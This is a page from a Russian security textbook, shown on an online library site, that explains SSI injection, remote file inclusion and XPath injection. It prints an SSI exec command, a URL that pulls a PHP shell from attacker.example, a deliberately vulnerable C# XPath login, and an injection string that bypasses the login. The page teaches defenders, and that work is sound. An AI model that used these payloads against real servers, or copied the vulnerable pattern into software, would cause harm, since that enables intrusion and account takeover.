Защити свой компьютер на 100% от вирусов и хакеров - [18]

Шрифт
Интервал

Перед генерацией HTML-страницы сервер может выполнять сценарии, например Server-site Includes (SSI). В некоторых ситуациях исходный код страниц генерируется на основе данных, предоставленных пользователем.

Если атакующий передает серверу операторы SSI, он может получить возможность выполнения команд операционной системы или включить в нее запрещенное содержимое при следующем отображении. Вот и пример: выражение < !—#exec cmd="/ bin/ls /" – > будет интерпретировано в качестве команды, просматривающей содержимое каталога сервера в UNIX-системах. Следующее выражение позволяет получить строки соединения с базой данных и другую чувствительную информацию, расположенную в файле конфигурации приложения .NET:

Другие возможности для атаки возникают, когда веб-сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию. Предположим, веб-приложение работает со ссылками, подобными следующей: http://portal.example/index.php?template=news$body=$_GET['page'].".php".

В ходе обработки этого запроса сценарий index.php подключает сценарий news. php и выполняет указанный в нем код. Злоумышленник может указать в качестве URL http://portal.example/index.php?template=http://attacker. example/phpshell, и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами веб-сервера.

Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения (http://portal.example/index.php? template=users/uploads/phpshell) или напрямую (http://portal. example/users/uploads/phpshell.php).

Внедрение операторов XPath (XPath Injection). Эти атаки направлены на вебсерверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.

Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT-преобразования XML-документов или выполнения запросов XQuery.

Синтаксис XPath близок к языку SQL-запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента – имя, пароль и номер счета. Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":

String(//user[name/text()='jsmith' and

password/text()='Demo1234']/account/text())

Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы. Для примера предположим, что веб-приложение использует XPath для запросов к документу XML для получения номеров счетов пользователей, чьи имена и пароли были переданы клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости (листинг 1.13).

Листинг 1.13. Код, реализующий уязвимость посредством оператора XPath

XmlDocument XmlDoc = new XmlDocument();

XmlDoc.Load("…");

XPathNavigator nav = XmlDoc.CreateNavigator();

XPathExpression expr =

nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'

and password/text()='"+TextBox2.Text+

"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));

if (account=="") {

// name+password pair is not found in the XML document

// login failed.

} else {

// account found -> Login succeeded.

// Proceed into the application.

}

В случае использования подобного кода злоумышленник может внедрить в запрос выражения на языке XPath, например ввести в качестве имени пользователя следующее выражение:

' or 1=1 or ''='

В этом случае запрос всегда будет возвращать счет первого пользователя в документе, поскольку будет выглядеть следующим образом:

string(//user[name/text()='' or 1=1 or ''='' and

password/text()='foobar']/account/text())

В результате злоумышленник получит доступ в систему от имени первого в XML-документе пользователя, не предоставляя имени пользователя и пароля.

Разглашение информации

Атаки данного класса направлены на получение дополнительной информации о веб-приложении. Используя эти уязвимости, злоумышленник может определить используемые дистрибутивы ПО, номера версий клиента и сервера и установленные обновления. В других случаях в утекающей информации может содержаться расположение временных файлов или резервных копий. Во многих ситуациях эти данные не требуются для работы пользователя. Большинство серверов предоставляют доступ к чрезмерному объему данных, однако необходимо минимизировать объем служебной информации. Чем большими знаниями о приложении будет располагать злоумышленник, тем легче ему будет скомпрометировать систему.

Индексирование директорий (Directory Indexing). Предоставление списка файлов в директории представляет собой нормальное поведение веб-сервера, если страница, отображаемая по умолчанию (index.html/home.html/default.htm), отсутствует.


Еще от автора Олег Михайлович Бойцев
Интернет. Трюки и эффекты

Книг о работе в Интернете для начинающих очень много. Немало книг по интернет-технологиям было выпущено и для программистов-профессионалов. Но есть ли книги про Интернет, которые были бы интересны пользователю со средним уровнем подготовки? Таких изданий на русском языке почти нет. Данная книга призвана восполнить этот пробел. В ней собраны сотни неочевидных трюков и хитрых приемов для работы в Интернете, описаны десятки полезнейших программ, даны тысячи важных советов и рекомендаций. Диапазон рассматриваемых в книге вопросов очень широк.


Интернет. Новые возможности. Трюки и эффекты

Сегодня книжный рынок предлагает огромный выбор литературы о работе в Интернете – как для начинающих пользователей, так и для профессионалов. Но есть ли книги об Интернете, которые были бы интересны пользователю со средним уровнем подготовки? Таких изданий на русском языке почти нет. Данная книга призвана восполнить этот пробел. В ней собраны сотни неочевидных трюков и хитрых приемов для работы в Интернете, описаны десятки полезнейших программ, даны множество важных советов и рекомендаций.Диапазон рассматриваемых авторами вопросов очень широк – это и оптимизация подключения, и расширение возможности браузеров, и секреты эффективного поиска, и вопросы безопасности… Можете не сомневаться: освоив эту книгу, вы будете проводить время в Интернете куда более эффективно и интересно.


Рекомендуем почитать
HTML, XHTML и CSS на 100%

Вы хотите создать собственный сайт на просторах Интернета? Причем желательно, чтобы он был красивым, удобным и «неглючным»? Казалось бы, чего проще: существует столько программ – конструкторов сайтов. Однако чтобы создать действительно профессиональный сайт, подобных утилит недостаточно. Вам потребуется знание языков программирования HTML и XHTML, а также каскадных таблиц стилей CSS. И в этом случае книга, которую вы держите в руках, – именно то, что вам необходимо. С ее помощью вы научитесь создавать красиво оформленные, быстрые и профессиональные сайты.


Компьютер на 100. Начинаем с Windows Vista

Если вы только приступили к освоению азов компьютерных технологий, если вы пока еще задумываетесь, прежде чем нажать какую-либо клавишу на клавиатуре, если вы поминутно опасаетесь забыть, как запустить нужную вам программу, как отредактировать текстовый документ, как найти потерявшийся файл, – эта книга для вас. Прочитав ее, вы освоите работу в операционной системе Windows Vista, с программами из пакета Microsoft Office 2007, а также научитесь преодолевать сбои в работе вашего компьютера.


Защита компьютера на 100: сбои, ошибки и вирусы

Из вашего компьютера валит сизый дым? Windows не грузится, и вы видите лишь черный экран? Или же Windows загружается, но потом экран становится синим и на нем появляются непонятные символы? Из системного блока раздается пронзительный писк? Ваши любимые игры перестали запускаться, а антивирус уже не помогает? Не паникуйте и не спешите вызывать мастера! В большинстве случаев сбои компьютера можно «излечить» самостоятельно. Как — научит эта книга. В ней предельно просто рассказывается о наиболее часто встречающихся поломках и ошибках ПК.


Восстановление данных на 100%

В книге изложены методы восстановления данных с различных носителей информации – жестких дисков, массивов RAID, CD, DVD, карт флэш-памяти, карт фотоаппаратов и мобильных телефонов. Ремонт поврежденного оборудования рассматривается в издании только как один из аспектов всего процесса извлечения данных. Основная тема – извлечение данных, поврежденных из-за физических или логических нарушений в работе компьютерной системы либо неверных действий пользователя. В книге рассматривается восстановление случайно удаленных файлов, извлечение ценной информации с поломанных жестких дисков; описываются программы и методика восстановления данных с поврежденных массивов RAID, что критически важно для работы корпоративных компьютерных систем.Книга не требует специальной подготовки читателя: простые пошаговые процедуры восстановления данных предваряются описанием принципов их хранения на различных носителях.